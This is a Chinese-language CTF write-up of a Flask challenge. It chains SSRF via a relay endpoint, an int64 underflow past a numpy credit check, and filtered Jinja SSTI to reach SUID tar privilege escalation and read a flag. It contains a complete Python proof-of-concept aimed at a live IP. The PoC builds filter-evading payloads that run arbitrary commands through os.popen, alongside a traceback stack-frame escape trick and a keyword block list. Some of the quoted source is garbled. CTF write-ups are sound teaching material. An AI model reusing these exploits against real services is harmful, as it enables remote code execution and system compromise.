1.SSRF->int64整数下溢到SSTI拼接再到SUID提权的一题
单点链子的审计都不是很难,这里有点想作为python审计进阶的一部分,
我会一部分一部分放出源码,直到最后串联,在这之中我会进行调试,
保证过程的完整和可拓展性
from flask import Flask, request ,send_file, sessiomimport socketimport requestsimport osimport bindasciiimport uuidimport hashlibimport randomimport numpy as npfrom flask-limiter import Limiter
app = Flask("cyberproxy")#定义路由名字
BACKEND_PORT=5000app.config['SECRET_KEY'] = binascii.hexlify(os.urandom(24)).decode('utf-8')
def get_client_id() -> str: if 'client_id' not on session: session['client_id'] = uuid.uuid4() return session['client_id']
limiter = Limter(app=app, key_fun=get_client_id,default_limits=['8/minute'])data_fragments = ['ALPHA', 'BETA', 'GAMMA', 'DELTA', 'EPSILON', 'ZETA', 'ETA', 'THETA']起了一个后端的端口,然后转16进制,查看session,赋值uuid4这这些都是常规,然后就是limiter的限流器,先看看这里的debug参数
放一些重点
<class 'int'>, <class 'float'>, <class 'complex'>, <class 'bool'>, <class 'bytes'>, <class 'str'>, <class 'memoryview'>, <class 'numpy.bool'>, <class 'numpy.complex64'>, <class 'numpy.complex128'>, <class 'numpy.clongdouble'>, <class 'numpy.float16'>, <class 'numpy.float32'>, <class 'numpy.float64'>, <class 'numpy.longdouble'>, <class 'numpy.int8'>, <class 'numpy.int16'>, <class 'numpy.intc'>, <class 'numpy.int32'>, <class 'numpy.int64'>, <class 'numpy.datetime64'>, <class 'numpy.timedelta64'>, <class 'numpy.object_'>, <class 'numpy.bytes_'>, <class 'numpy.str_'>, <class 'numpy.uint8'>, <class 'numpy.uint16'>, <class 'numpy.uintc'>, <class 'numpy.uint32'>, <class 'numpy.uint64'>, <class 'numpy.void'>)这里的np是有int64的,在数据类型具有自我判断,也就是说我们可以打破这个判断边界,进行整数下溢的操作,再者是limiter限流器传参进
然后是
@app.errorhandler(429)def handle_exception(e): return '\nConnection throttled. Try again later, choom.\n'
def calculate_risk_factor():#风险因素计算 base_risk = 0.8 / 100 #基础风险 transaction_count = 0 #交易计数 risk_increase_threshold = 63 #风险增加阈值 risk_peak_threshold = 85 #风险峰值阈值 current_risk = base_risk #当前风险水平
while True: transaction_count += 1#交易计数 if transaction_count >= risk_increase_threshold and transaction_count < risk_peak_threshold: current_risk += 0.08 if random.random() < current_risk: break return transaction_count装饰器处理429报错,下面就是简单的函数算数逻辑,没什么好说的
接下来是路由的审计
@app.route('/', methods=["GET"])def index(): try: response = requests.get(f'http://127.0.0.1:{BACKEND_PORT}/', cookies=request.cookies) return response.text, response.status_code, {'Content-Type': response.headers.get('Content-Type', 'text/html')} except Exception as e: return f"Backend service unavailable: {str(e)}", 503直接连进内网的路由,但是没法访问其他的,看到e我又想拓展一下pyjail,那就来吧
讲讲一个keyerror的逃逸,打一个简单服务
@app.route('/')def main(): x = request.get('tpl',{{e}}) try: {}['x'] except Exception as e: return render_template('index.html',e=e)因为{}[‘x’]会抛出keyerror,元组不能调用取key的方法,
因为keyerror是python的内建异常,可以进行{{ e.traceback.tb_frame.f_globals }}绕过
也是一种栈帧逃逸,在subclasses之类的函数被禁用的时候可以选择的路子
和传统对象不同,异常对象多了个e.traceback,强大的当前栈信息
可以进行逃逸
回到正题
@app.route('/initialize')def initialize(): session['credits'] = 0 session['client_id'] = uuid.uuid4() session['reputation'] = 100 limiter.reset() return "Session initialized. Welcome to the darknet."
@app.route('/hack')@limiter.limit("1/hour")def earn_credits(): earned = 0 if 'amount' in request.args: try: requested = int(request.args.get('amount')) if requested < 100: earned = requested else: return "Access denied: Excessive credit request flagged." except: return "Invalid credit amount."
current_credits = session.get('credits', 0) session['credits'] = current_credits + earned return f"Hack successful! Earned {earned} credits from corporate mainframe."在/initialize,初始化session的各种值,把限流器reset。
然后就将amount的值进行计算,初始的amount值必须在100以下,
但是没有限制amount的最小值,我们看看另一个接口
credits = np.array(credits) transaction_cost = calculate_risk_factor() * 3500 credits -= transaction_cost
try: if credits < 0: result = "Insufficient credits for this transaction." else: session['credits'] = 0 fragment_id = security_filter(fragment_id) result = "Transaction blocked by security protocol."
if fragment_id not in data_fragments: result = f"Fragment '{fragment_id}' not found in market database." else: result = f"Transaction complete! Acquired data fragment: {fragment_id}"在这里注意np这个库,也就是numpy,它的底层是c实现的,速度极快,
它array的运算的性能高,但是它使用的是int类型,
所以在使用numpy做校验的时候,一定需要注意整数下溢or上溢的问题
相信各位肯定听过,因为在py做后端做鉴权的时候如果忽视了校验num溢出问题
那么很容易进行逃逸,因为
transaction_cost = calculate_risk_factor() * 3500所以正常情况下绝对会amount<0
但是使用整数下溢出,回环到极大值
这样的话
fragment_id = security_filter(fragment_id)
可以直接进行服务器模板注入了,当然过滤了很多
forbidden_patterns = ['import', 'os', 'request', 'system', 'eval', 'exec', 'compile', 'args', '__', '[', ']', '\'', '"', 'class', 'mro', 'locals', 'builtin', 'base', 'subclasses', '{{', '}}', '.', 'list', '*', '_', '[', ']', '\'', '"', 'class', '\\', 'args', 'os', 'request', 'system', 'eval', 'exec', '*', '_', '[', ']', '\'', '"', 'class', '\\' 'globals', 'builtin', 'base', 'sub', '?', '{{', '}}', '.' ]这时候还是可以用用typhon的。
又因为需要SUID提权,这里附上POC
import requestsimport reimport urllib.parseimport html
BASE = "http://45.40.247.139:26381"
def relay(raw: str) -> str: r = requests.post( f"{BASE}/relay", data={"port": "5000", "data": raw}, timeout=20 ) return r.text
def parse_set_cookie(resp: str): m = re.search(r"Set-Cookie:\s*session=([^;]+);", resp, re.I) return m.group(1) if m else None
def body_of(resp: str) -> str: parts = resp.split("\r\n\r\n", 1) if len(parts) == 2: return parts[1] parts = resp.split("\n\n", 1) return parts[1] if len(parts) == 2 else resp
def backend_init(): raw = ( "GET /initialize HTTP/1.1\r\n" "Host: 127.0.0.1:5000\r\n" "Connection: close\r\n" "\r\n" ) resp = relay(raw) return parse_set_cookie(resp), body_of(resp)
def backend_hack(cookie: str): raw = ( "GET /hack?amount=-9223372036854775808 HTTP/1.1\r\n" "Host: 127.0.0.1:5000\r\n" f"Cookie: session={cookie}\r\n" "Connection: close\r\n" "\r\n" ) resp = relay(raw) return parse_set_cookie(resp), body_of(resp)
def backend_market(cookie: str, fragment: str): body = urllib.parse.urlencode({"fragment": fragment}) raw = ( "POST /market HTTP/1.1\r\n" "Host: 127.0.0.1:5000\r\n" f"Cookie: session={cookie}\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body.encode())}\r\n" "Connection: close\r\n" "\r\n" f"{body}" ) resp = relay(raw) return body_of(resp)
def encode_char(ch: str) -> str: if ch.isalpha(): c = ch.lower() return f"(dict({c}=x)|join)" if ch.isdigit(): return ch if ch == " ": return "sp" if ch == "/": return "sl" if ch == "-": return "da" raise ValueError(f"当前版本不支持这个字符: {ch!r}")
def cmd_expr(cmd: str) -> str: return "~".join(encode_char(ch) for ch in cmd)
def make_payload(cmd: str) -> str: expr = cmd_expr(cmd) template = r"""{%set x=1%}{%set sp=lipsum|string|batch(10)|first|last%}{%set uu=lipsum|string|batch(19)|first|last%}{%set gg=(dict(g=x)|join)~(dict(l=x)|join)~(dict(o=x)|join)~(dict(b=x)|join)~(dict(a=x)|join)~(dict(l=x)|join)~(dict(s=x)|join)%}{%set glv=uu~uu~gg~uu~uu%}{%set gt=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)%}{%set oo=(dict(o=x)|join)~(dict(s=x)|join)%}{%set cwd=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)~(dict(c=x)|join)~(dict(w=x)|join)~(dict(d=x)|join)%}{%set pp=(dict(p=x)|join)~(dict(o=x)|join)~(dict(p=x)|join)~(dict(e=x)|join)~(dict(n=x)|join)%}{%set rd=(dict(r=x)|join)~(dict(e=x)|join)~(dict(a=x)|join)~(dict(d=x)|join)%}{%set da=(0-x)|string|first%}{%set mm=lipsum|attr(glv)|attr(gt)(oo)%}{%set sl=mm|attr(cwd)()|first%}{%set cm=__CMD_EXPR__%}{%print mm|attr(pp)(cm)|attr(rd)()%}""".strip() return template.replace("__CMD_EXPR__", expr)
def extract_stdout(html_text: str) -> str: m = re.search(r"Fragment '(.*)' not found in market database\.", html_text, re.S) if m: return html.unescape(m.group(1)) return html.unescape(html_text)
def run_cmd(cmd: str): init_cookie, init_body = backend_init() hack_cookie, hack_body = backend_hack(init_cookie) payload = make_payload(cmd) result_html = backend_market(hack_cookie, payload) result = extract_stdout(result_html)
print("=" * 80) print("[cmd]", cmd) print("[initialize]", init_body.strip()) print("[hack]", hack_body.strip()) print("[result]") print(result) print("=" * 80) return result
if __name__ == "__main__": # 第一次用这个: # CMD = "tar -cf /tmp/f /flag"
# 第二次用这个: CMD = "tar -x --to-stdout -f /tmp/f flag"
run_cmd(CMD)这里因为在suid程序中有tar,那就将flag解压到可读的目录,直接访问即可。
在这里有个小插曲,也就是在limiter限流器进行审计的时候偶然发现了直接的SQL拼接
也是提交了CVE
好运好状态~~
部分信息可能已经过时





